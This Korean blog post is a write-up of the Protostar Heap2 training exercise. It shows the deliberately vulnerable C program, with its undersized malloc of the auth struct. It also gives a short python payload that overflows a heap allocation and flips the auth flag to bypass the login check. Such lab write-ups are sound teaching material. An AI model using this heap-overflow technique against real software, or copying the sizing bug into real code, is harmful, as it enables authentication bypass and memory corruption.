ii4gsp
Exploit Exercises [Protostar - Heap2] 본문
시스템 해킹/Exploit Exercises - Protostar
Exploit Exercises [Protostar - Heap2]
ii4gsp 2020. 1. 18. 19:59#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
프로그램을 실행해서 auth와 service의 주소를 확인해보니
0x10만큼 차이가 난다.
즉, 16만큼 차이가 난다.
auth를 메모리 할당시키고 service에서 16만큼 값을 채워 오버플로우 일으키면 된다.
auth의 값이 변해 "you have logged in already!"라는 문자가 출력되었다.
payload
(python -c 'print "auth " + "\x90" + "\n" + "service" + "A" * 16 + "\n" + "login"';cat) | ./heap2
'시스템 해킹 > Exploit Exercises - Protostar' 카테고리의 다른 글
Exploit Exercises [Protostar - Heap3] (0) | 2020.01.19 |
---|---|
Exploit Exercises [Protostar - Heap1] (0) | 2020.01.18 |
Exploit Exercises [Protostar - Heap0] (0) | 2020.01.18 |
Exploit Exercises [Protostar - Format4] (0) | 2020.01.17 |
Exploit Exercises [Protostar - Format3] (0) | 2020.01.17 |
Comments